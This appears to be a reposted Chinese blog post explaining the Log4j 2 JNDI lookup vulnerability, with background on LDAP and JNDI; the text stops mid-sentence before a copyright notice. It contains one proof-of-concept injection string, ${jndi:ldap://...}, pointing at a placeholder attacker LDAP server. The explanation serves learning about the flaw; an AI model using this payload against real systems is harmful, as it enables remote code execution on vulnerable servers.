log4j漏洞最早出现在2021年11月24日一位阿里安全团队的员工发现的,上报到Apache之后,12月10日凌晨才被公开。该漏洞威胁等级较高。基本比肩与阿里当年的fastjson漏洞。
漏洞地址:
1.漏洞原理:
Log4j是一种流行的Java日志记录工具,其升级版本Log4j 2存在安全漏洞。这个漏洞是由Log4j 2的lookup功能引起的,该功能允许开发者使用某些协议读取环境配置。但是在实现这个功能时,未对输入进行严格检查,导致出现了安全漏洞。
poc:${jndi:ldap://192.168.1.x:5678/test}
以上就是一个简单的log4漏洞利用的poc,这里我们主要需要了解的就是这个poc中比较重要的jndi和ldap两个类名。通过对当前两个类名功能的了解我们也能对fastjson漏洞原理的理解做一个复习
ldap:
ldap大致意识就是一个轻量级的目录访问协议。其功能类似与早期中国黄页的出现,通过这个ldap能够迅速查早数据库中所需要的信息。其主要应用在GItla统一登录,sun基于文本数据库的储存功能等相类似的功能上使用。
jndi: java 命名和目录接口服务工具。由于直接使用jdbc直接连接数据库会引起参数无法直接修改、数据库产品更换驱动包修改麻烦、连接池参数修改麻烦等清理。所以这里使用jndi命名服务、通过连接,程序只需要知道名字,就能够直接去数据库匹配数据,并且其内部类也解决了jdbc的问题。
当然jndi的命名服务也正是产生漏洞的罪魁祸首。由于发布服务产生映射需要调用bind(),使用名字查找资源需要使用lookup(),导致攻击者利用lookup()远程请求攻击服务器并使其内置类执
版权归原作者 Old-YanG 所有, 如有侵权,请联系我们删除。